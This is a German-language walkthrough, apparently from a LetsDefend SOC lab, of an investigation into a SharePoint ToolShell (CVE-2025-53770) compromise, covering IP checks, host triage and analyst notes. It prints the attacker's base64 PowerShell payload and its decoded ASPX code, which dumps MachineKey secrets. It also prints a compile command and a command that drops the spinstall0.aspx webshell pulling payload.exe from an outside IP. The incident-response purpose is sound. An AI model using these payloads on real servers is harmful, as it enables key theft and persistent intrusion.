
Schritt-für-Schritt-Walkthrough zur Ausnutzung von CVE-2025-53770 (ToolShell) in einem LetsDefend-Lab, das RCE, Webshell-Bereitstellung und Incident-Response-Analyse abdeckt.
TL;DR Yo, in diesem LetsDefend-Lab bin ich in eine SharePoint-Zero-Day namens ToolShell (CVE-2025-53770) eingetaucht. Im Grunde habe ich einen realen Angriff nachgestellt, bei dem eine bösartige POST-Anfrage die Authentifizierung umging, PowerShell ausführte, um MachineKeySection-Schlüssel zu stehlen, payload.exe kompilierte und eine Web-Shell (spinstall0.aspx) ablegte. Ich habe alles protokolliert, das Verhalten analysiert und den Host isoliert. Diese README beschreibt den Angriff, meine Schritte und die gewonnenen Erkenntnisse.
Lab-Übersicht
Verwendete Tools:
Windows PowerShell
VirusTotal
AbuseIPDB
LetsDefend Log Management
LetsDefend Endpoint Security
LetsDefend Threat Intel


EventID : 320
Event Time : Jul, 22, 2025, 01:07 PM
Rule : SOC342 - CVE‑2025‑53770 SharePoint ToolShell Auth Bypass and RCE
Level : Sicherheitsanalyst
Hostname : SharePoint01
Source IP Address : 107.191.58.76
Destination IP Address : 172.16.20.17
HTTP Request Method : POST
Requested URL : /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer : /_layouts/SignOut.aspx
Content-Length : 7699
Alert Trigger Reason : Verdächtige, nicht authentifizierte POST-Anfrage, die auf ToolPane.aspx abzielt, mit großer Payload-Größe und gefälschtem Referer, was auf eine Ausnutzung von CVE-2025-53770 hindeutet.
Device Action : Erlaubt
Überblick Am 22. Juli 2025 wurde durch unsere Sicherheitsüberwachung ein kritischer Zero-Day-Angriff auf eine lokale SharePoint-Server-Instanz namens SharePoint01 erkannt.
CVE-Details:
CISA KEV Catalog: Eintrag veröffentlicht am 20. Juli 2025
Angriffsvektor: POST-Anfrage an den Endpunkt /ToolPane.aspx, gefälschter Referer-Header, große bösartige Payload
Quelle: IP 107.191.58.76, Vultr Holdings, LLC, USA
Über SharePoint Microsoft SharePoint ist das Rückgrat der Unternehmenszusammenarbeit und Dokumentenverwaltung. Es ist im Wesentlichen ein sicherer, organisierter Cloud-ähnlicher Bereich für Dateien, Workflows und interne Anwendungen.
Kernanwendungen:
Dokumentenverwaltung: Versionierung, Prüfpfade, Dateikontrolle
Zusammenarbeit: Mehrere Benutzer bearbeiten gleichzeitig dasselbe Dokument
Interne Webportale: Neuigkeiten, Updates, HR-Informationen, Richtlinien
Automatisierte Workflows: Genehmigungen, Formulare, Benachrichtigungen
Integration: Eng mit Teams, Outlook, Office Suite, Power BI verbunden
Sicherheitsaspekte:
Authentifizierung: AD oder SSO
Verschlüsselung: Daten im Ruhezustand und während der Übertragung
Web Parts & Layouts: Können bei Fehlkonfiguration ausgenutzt werden
Patch-Management: Entscheidend, um Zero-Day-Angriffe zu verhindern
CVE-2025-53770, auch ToolShell genannt, ist eine SharePoint-Zero-Day, die in freier Wildbahn ausgenutzt wird. Es handelt sich um eine kritische Deserialisierungsschwachstelle in lokalen Microsoft SharePoint-Servern, die eine nicht authentifizierte Remote Code Execution (RCE) ermöglicht. Sie wird mit anderen SharePoint-Schwachstellen (CVE-2025-49704 und CVE-2025-49706) kombiniert, um Systeme vollständig zu kompromittieren. Der CVSS-Score beträgt 9.8, was kritisch bedeutet.
Sie laden bösartige Web-Shells wie spinstall0.aspx über den Endpunkt ToolPane.aspx hoch, indem sie gefälschte Referrer-Header verwenden, um die Authentifizierung zu umgehen.
Sie extrahieren kritische MachineKey-Werte aus der SharePoint-Konfiguration, um vertrauenswürdige ViewState-Payloads für dauerhaften Zugriff zu generieren.
und später Ransomware (z. B. den „Warlock"-Stamm) einzusetzen oder Anmeldeinformationen zu exfiltrieren und Hintertüren zu installieren.
Erste öffentliche Offenlegung: 19. Juli 2025 (Microsoft-Blog)
Patches veröffentlicht: 20.–21. Juli 2025
Aufnahme in CISA-KEV-Katalog: 20. Juli 2025
Habe die IP-Adresse des Absenders (Source IP Address) auf VirusTotal analysiert
Source IP Address : 107.191.58.76

Daraus weiß ich bereits, dass die IP bösartig ist.
Jetzt muss ich den Standort der IP mit Hilfe von AbuseIPDB suchen

Das habe ich erhalten:
ISP Vultr Holdings, LLC
Usage Type - Data Center/Web Hosting/Transit
ASN - AS20473
Hostname(s) - 107.191.58.76.vultrusercontent.com
Domain Name - vultr.com
Country - Vereinigte Staaten von Amerika
City - Los Angeles, California
IP bekannt für Hacking, Brute-Force, Web-App-Angriffe, Port-Scan, DNS-Vergiftung
Als Junior-Analyst habe ich das gelöst Wie ich vorgegangen bin Zuerst habe ich den Host in der Endpoint Security mit dem Namen „SharePoint01" gesucht.

Nachdem ich den Host gefunden hatte, bin ich zur Terminal-Historie gegangen und habe eine Befehlszeile gefunden:

Was passiert in dem Befehl?
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
→ Startet PowerShell direkt aus dem Systemverzeichnis.
-nop
→ Kein Profil – ignoriert PowerShell-Profilskripte, um Erkennung oder Störungen zu vermeiden.
-w hidden
→ Läuft mit verstecktem Fenster, damit der Benutzer es nicht sieht.
-e
Lassen Sie uns das decodieren:
"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
Schritt 1: Aufklärung & Payload-Erfassung
Erfasste POST-Anfrage an /ToolPane.aspx:
POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: sharepoint01.lab Content-Type: application/x-www-form-urlencoded Content-Length: 1452 Referer: http://sharepoint01.lab/_layouts/15/settings.aspx User-Agent: Mozilla/5.0 Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE
Methode: POST-Anfrage an /ToolPane.aspx unter Umgehung der Authentifizierung
Payload: Großes, verschleiertes, Base64-kodiertes PowerShell-Skript
Referer-Header: Gefälscht, um die Herkunft zu verschleiern
Schritt 2: Ausführung & Exploitation:
Ich habe das Skript/die Payload in einem Base64-Decoder decodiert
mit base64 decodiert und Folgendes erhalten:
"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page\_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}

Lassen Sie mich erklären, was das obige Skript tut:
Es importiert:
-System.Diagnostics
-System.IO
⦁ und führt dann ein C# Inline-Skript in PowerShell aus, das:
-Lädt System.Web-Assemblys
-Greift auf System.Web.Configuration.MachineKeySection zu
-Ruft Validierungs- und Entschlüsselungsschlüssel aus der web.config des Rechners ab
-und schreibt sie in die Response, wahrscheinlich zur Exfiltration an einen Angreifer
Der Angreifer sendete als nächstes diesen Befehl:
""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs"
-csc.exe - ein C#-Compiler mit .NET-Framework
-dann weist er den Compiler an, diese "payload.exe" auf dem Host zu speichern
Diese Payload könnte eine Malware sein
Nächste Befehlszeile des Angreifers:
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
Was es tut:
"C:\Windows\System32\cmd.exe" /c -
Führt den folgenden Befehl in der Eingabeaufforderung aus und beendet sich dann.
echo <form runat=\"server\"> ... </form>-
Schreibt einen kleinen Teil ASP.NET-Markup aus, der auf dem SharePoint-Server ausgeführt wird.
Der Markup enthält:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> -
Diese CLSID ist das Shell-ActiveX-Steuerelement (wird verwendet, um Shell-Befehle auszuführen oder spezielle Aktionen im IE/COM-Kontext durchzuführen).
<param name="Command" value="Redirect"> -
Weist das Objekt an, welche Aktion ausgeführt werden soll.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
Zeigt auf eine bösartige EXE, die auf einem Remote-Server gehostet wird – sehr wahrscheinlich die eigentliche Malware.
Nächste Befehlszeile des Angreifers:
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
Wieder was es tut:
"C:\Windows\System32\cmd.exe" /c -
Führt den folgenden Befehl in der Eingabeaufforderung aus und beendet sich dann.
echo <form runat=\"server\"> ... </form> -
Schreibt einen kleinen Teil ASP.NET-Markup aus, der auf dem SharePoint-Server ausgeführt wird.
Und auch:
Der Markup enthält:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
Diese CLSID ist das Shell-ActiveX-Steuerelement (wird verwendet, um Shell-Befehle auszuführen oder spezielle Aktionen im IE/COM-Kontext durchzuführen).
<param name="Command" value="Redirect">-
Weist das Objekt an, welche Aktion ausgeführt werden soll.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
Zeigt auf eine bösartige EXE, die auf einem Remote-Server gehostet wird – sehr wahrscheinlich die eigentliche Malware.
> C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\spinstall0.aspx -
Speichert das gesamte bösartige HTML/ASP.NET-Objekt als spinstall0.aspx im Layouts-Ordner von SharePoint.
Alles in diesem Ordner kann durch Aufrufen der entsprechenden URL auf der SharePoint-Site abgerufen werden, was bedeutet, dass der Angreifer nun eine Webseite auf Ihrem Server hat, die die bösartige Aktion auslöst.
Die Befehlszeilen, die ich gefunden habe, sind unten:


Nachdem ich bestätigt hatte, dass dies riskant ist, habe ich die Prozesse auf dem Host untersucht.
Sieht verdächtig aus, wimmelt von vielen Dateipfaden und Exe-Dateien.
Nur aus Neugier bin ich zum Log Management gegangen und habe die bösartige IP in den Logs gesucht.
Ich sah ein Roh-Log mit einer POST-Anfrage
mit einem Referer - /_layouts/SignOut.aspx
Ich ging weiter, um zu überprüfen, ob der Angriff erfolgreich war.
Weißt du was? Er war es, also muss ich ihn nun für SOC2 eindämmen.
Das ist meine Analysten-Notiz:
Wir haben einen kritischen Angriff entdeckt, der eine Zero-Day-Schwachstelle namens ToolShell (CVE-2025-53770) auf einem lokalen SharePoint-Server namens SharePoint01 ausnutzt. Der Angreifer, von einer bekannten bösartigen IP (107.191.58.76), sandte eine nicht authentifizierte POST-Anfrage mit einer großen Payload an einen SharePoint-Endpunkt (ToolPane.aspx), um die Authentifizierung zu umgehen und Remote-Code auf dem Server auszuführen.
Bei tieferer Untersuchung führte der Angreifer versteckte PowerShell-Befehle aus, die Base64-Skripte decodierten, um sensible SharePoint-MachineKey-Werte zu stehlen, was es ihm ermöglichte, vertrauenswürdige Payloads zu erstellen. Sie kompilierten eine bösartige ausführbare Datei auf dem Host und platzierten dann eine Web-Shell (spinstall0.aspx) im Layouts-Ordner von SharePoint, die Malware von ihrem Server herunterlädt und ausführt, was einen dauerhaften Hintertürzugriff ermöglicht.
Nach Bestätigung der Kompromittierung haben wir den betroffenen Host isoliert und dringende Patches empfohlen, da Fixes nur wenige Tage zuvor veröffentlicht wurden. Wir scannen auch nach weiteren Web-Shells, überwachen auf Ransomware oder Datendiebstahl und raten zu strengerer Sicherheit rund um SharePoint-Server, um weiteren Schaden zu verhindern.
Und die Notiz an das Team:
Notiz an das Team: Hallo Team, wir haben eine kritische Ausnutzung der ToolShell-Zero-Day (CVE-2025-53770) auf unserem SharePoint-Server (SharePoint01) festgestellt. Ein Angreifer nutzte eine nicht authentifizierte POST-Anfrage, um die Authentifizierung zu umgehen und Remote-Code auszuführen, beginnend mit einer großen verdächtigen Payload, die auf ToolPane.aspx abzielte.
Der Angreifer führte versteckte PowerShell-Befehle aus, um sensible SharePoint-Maschinenkeys zu stehlen, kompilierte dann eine bösartige ausführbare Datei und legte sie auf dem System ab. Außerdem erstellten sie eine Web-Shell (spinstall0.aspx) im SharePoint-Layouts-Ordner, die Malware von einem externen Server herunterlädt und ausführt, was ihnen potenziell dauerhafte Kontrolle verschafft.
Wir haben den kompromittierten Host isoliert und empfehlen dringend Patches, da Fixes gerade erst veröffentlicht wurden. Wir scannen auch nach ähnlichen Web-Shells und überwachen auf Anzeichen von Ransomware oder Datengefährdung. Bleiben wir wachsam und verschärfen die SharePoint-Sicherheit in Zukunft.
Das ist mein Ergebnis
